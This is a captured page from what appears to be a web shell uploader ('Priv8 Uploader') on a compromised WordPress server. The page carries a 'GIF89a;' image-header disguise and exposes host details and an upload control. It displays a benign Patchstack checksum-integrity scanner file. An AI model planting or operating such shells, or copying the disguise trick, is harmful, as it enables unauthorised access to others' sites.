GIF89a;
Notice: Undefined index: in /home/bs3263/domains/poolq.ee/public_html/wp-content/plugins/classic-editor/classic-editor.php on line 3

Priv8 Uploader By InMyMine7

Linux bs3.beeserver.ee 2.6.32-642.6.2.el6.x86_64 #1 SMP Wed Oct 26 06:52:09 UTC 2016 x86_64
HEX
HEX
Server: Apache/2
System: Linux bs3.beeserver.ee 2.6.32-642.6.2.el6.x86_64 #1 SMP Wed Oct 26 06:52:09 UTC 2016 x86_64
User: bs3263 (524)
PHP: 7.3.5
Disabled: NONE
Upload Files
File: /home/bs3263/public_html/patchstack_integrity.php
<?php

require( dirname( __FILE__ ) . '/wp-load.php' );

/**
 * Base class that all scanner types will extend.
 */
class Webarx_Scanner
{
    /**
     * An array that contains the information of the current installed WordPress version or plugin names.
     * 
     * @var array
     */
    protected $details = array();

    /**
     * An array that contains the checksums of the core files of WordPress or of the plugin files.
     * 
     * @var array
     */
    protected $checksums = array();

    /**
     * An array that contains the result set of the scan.
     * 
     * @var array
     */
    protected $result = array();

	/**
	 * Normalizes directory separators to slashes.
	 *
	 * @param string $path Path to convert.
	 * @return string Path with all backslashes replaced by slashes.
	 */
    public static function normalize_seperator($path)
    {
		return str_replace('\\', '/', $path);
	}

	/**
	 * Recursively get the list of files for a given path.
	 *
	 * @param string $path Root path to start the recursive traversal in.
	 * @return array
	 */
    protected function get_files($path)
    {
		$filtered_files = array();
		try {
			$files = new RecursiveIteratorIterator(
				new RecursiveDirectoryIterator(
					$path,
					RecursiveDirectoryIterator::SKIP_DOTS
				),
				RecursiveIteratorIterator::CHILD_FIRST
            );
            
			foreach ($files as $file_info) {
				$pathname = self::normalize_seperator(substr($file_info->getPathname(), strlen($path)));
				if ($file_info->isFile() && $this->filter_file($pathname)) {
					$filtered_files[] = $pathname;
				}
			}
        } catch (Exception $e) {}
            
		return $filtered_files;
    }
    
	/**
	 * Whether to include the file in the verification or not.
	 * This can be overriden by the child classes which inherit this class.
	 *
	 * @param string $filepath Path to a file.
	 * @return bool
	 */
    protected function filter_file($filepath)
    {
		return true;
	}
}

/**
 * This class is used to determine the integrity of the WordPress core files.
 */
class Webarx_Core extends Webarx_Scanner
{
    /**
     * Launches the scanner.
     * 
     * @return void
     */
    public function launch()
    {
        // Obtain necessary information.
        $this->details = $this->get_details();
        $this->checksums = $this->get_checksums();

        // Determine if all is good to start the integrity scan of the core files.
        if (count($this->checksums) == 0) {
            return;
        }

        // Scan the files.
        $this->scan();
        return $this->result;
    }

    /**
     * Scan the files and determine if there's a bad file.
     * 
     * @return array
     */
    private function scan()
    {       
        // Loop through all checksums that we retrieved from WordPress.
		foreach ($this->checksums as $file => $checksum) {

            // Skip the wp-content folder.
			if (substr($file, 0, 10) == 'wp-content') {
				continue;
            }
            
            // The file must exist.
			if (!file_exists(ABSPATH . $file)) {
                array_push($this->result, [$file, 'missing_file']);
				continue;
            }
            
            // The checksum must match.
			$md5 = md5_file(ABSPATH . $file);
			if ($md5 !== $checksum) {
                array_push($this->result, [$file, 'checksum_mismatch']);
			}
        }
        
        // Determine files that should not exist.
		$core_checksums = array_filter(array_keys($this->checksums), array($this, 'filter_file'));
		$core_files = $this->get_files(ABSPATH);
		$extra = array_diff($core_files, $core_checksums);
		if (!empty($extra)) {
			foreach ($extra as $file) {
                array_push($this->result, [$file, 'unexpected_file']);
			}
        }
    }

    /**
     * Determine the information of the WordPress installation.
     * 
     * @return array
     */
    private function get_details()
    {
        require_once(ABSPATH . WPINC . '/version.php');
        global $wp_version;
        return array('locale' => get_locale(), 'wp_version' => $wp_version);
    }

    /**
     * Retrieve the array of checksums from WordPress.
     * 
     * @return array
     */
    private function get_checksums()
    {
		$url = 'https://api.wordpress.org/core/checksums/1.0/?version=' . $this->details['wp_version'] . '&locale=' . $this->details['locale'];
        $response = wp_remote_get($url);

        // Must be a valid response code.
        if (wp_remote_retrieve_response_code($response) >= 400 || !isset($response['body'])) {
            return array();
        }

        // Decode the response and determine if it's valid.
        $checksums = json_decode($response['body'], true);
        if (!$checksums || !isset($checksums['checksums'])) {
            return array();
        }

        return $checksums['checksums'];
    }

	/**
	 * Some files should not be included in the scan.
     * In this case we only include /wp-admin/*, /wp-includes/* and the /wp-config.php file.
	 *
	 * @param string $path
	 * @return bool
	 */
    protected function filter_file($path)
    {
        if (0 === strpos($path, 'wp-admin/')) {
            return true;
        }

        if (0 === strpos($path, 'wp-includes/')) {
            return true;
        }

        if (1 === preg_match('/^wp-(?!config\.php)([^\/]*)$/', $path)) {
            return true;
        }

        return false;
	}
}

/**
 * This class is used to determine the integrity of the plugins installed on the site.
 */
class Webarx_Plugin extends Webarx_Scanner
{
    /**
     * An array with all installed plugins.
     * 
     * @var array
     */
    private $plugins;
    
    /**
     * An array of files to ignore.
     * 
     * @var array
     */
    private $ignore = array(
        'readme.txt', 'readme.md'
    );

    /**
     * Launches the scanner.
     * 
     * @return void
     */
    public function launch()
    {
        $this->details = $this->get_details();
        $this->scan();
        return $this->result;
    }

    /**
     * Scan the files and determine if there's a bad file.
     * 
     * @return array
     */
    private function scan()
    {
        // Loop through all available plugins.
		foreach ($this->details as $plugin=>$data) {

            // Attempt to get the version of the plugin.
            $version = isset($data['Version']) ? $data['Version'] : false;
			if (empty($version)) {
                array_push($this->result, [$plugin, 'no_version']);
				continue;
            }
            
            // Attempt to get the checksums of the plugin files.
			$checksums = $this->get_checksums($plugin, $version);
			if (empty($checksums)) {
                array_push($this->result, [$plugin, 'no_checksums']);
				continue;
            }

            // Get the files that are part of the plugin.
            $files = $this->get_plugin_files($data['file']);
            
            // Determine if there are missing files.
			foreach ($checksums as $file => $checksum_array) {
				if (!in_array($file, $files, true)) {
                    array_push($this->result, [$plugin . '/' . $file, 'missing_file']);
				}
            }
            
            // Determine if there are files that should not belong or if the checksum does not match.
			foreach ($files as $file) {
				if (!array_key_exists($file, $checksums)) {
                    array_push($this->result, [$plugin . '/' . $file, 'unexpected_file']);
					continue;
                }
                
				if (in_array(strtolower($file), $this->ignore, true)) {
					continue;
                }
                
				$result = $this->verify_checksum(dirname($data['file']) . '/' . $file, $checksums[$file]);
				if ($result !== true) {
                    array_push($this->result, [$plugin . '/' . $file, 'checksum_mismatch']);
				}
            }
		}
    }

    /**
     * Get the names of all installed plugins.
     * 
     * @return array
     */
    private function get_details()
    {
        $names = array();
        $plugins = get_plugins();
        foreach ($plugins as $file=>$details) {
            $names[$this->get_plugin_name($file)] = $plugins[$file];
            $names[$this->get_plugin_name($file)]['file'] = $file;
        }

        return $names;
    }

    /**
     * Get the checksums of the plugin files.
     * 
     * @param string $name
     * @param float $version
     * @return array|bool
     */
    private function get_checksums($name, $version)
    {
        $url = 'https://downloads.wordpress.org/plugin-checksums/' . $name . '/' . $version . '.json';
        $response = wp_remote_get($url);

        // Must be a valid response code.
        if (wp_remote_retrieve_response_code($response) >= 400 || !isset($response['body'])) {
            return array();
        }

        // Decode the response and determine if it's valid.
        $checksums = json_decode($response['body'], true);
        if (!$checksums || !isset($checksums['files'])) {
            return array();
        }

        return $checksums['files'];
    }

	/**
	 * Gets the list of files that are part of the given plugin.
	 *
	 * @param string $path
	 * @return array
	 */
    private function get_plugin_files($path)
    {
        $folder = dirname(WP_PLUGIN_DIR . '/' . $path);
        if (WP_PLUGIN_DIR === $folder) {
			return (array) $path;
        }
        
		return $this->get_files(trailingslashit($folder));
    }
    
    /**
     * Determine the proper plugin name.
     * 
     * @param string $name
     * @return string
     */
    private function get_plugin_name($name)
    {
        if (strpos($name, '/') === false) {
            return basename($name, '.php');
        }

        return dirname($name);
    }

    /**
     * Verify the SHA256 checksum of the file against our generated SHA256
     * checksum.
     * 
     * @param string $file
     * @param object $checksums
     * @return bool
     */
    private function verify_checksum($file, $checksums)
    {
        if (!isset($checksums['sha256'])) {
            return false;
        }

        $sha256 = hash_file('sha256', WP_PLUGIN_DIR . '/' . $file);
        return in_array($sha256, (array) $checksums['sha256'], true);        
    }
}

$scan = new Webarx_Core;
echo "<pre>";
print_r($scan->launch());
echo "</pre>";

$scan = new Webarx_Plugin;
echo "<pre>";
print_R($scan->launch());
echo "</pre>";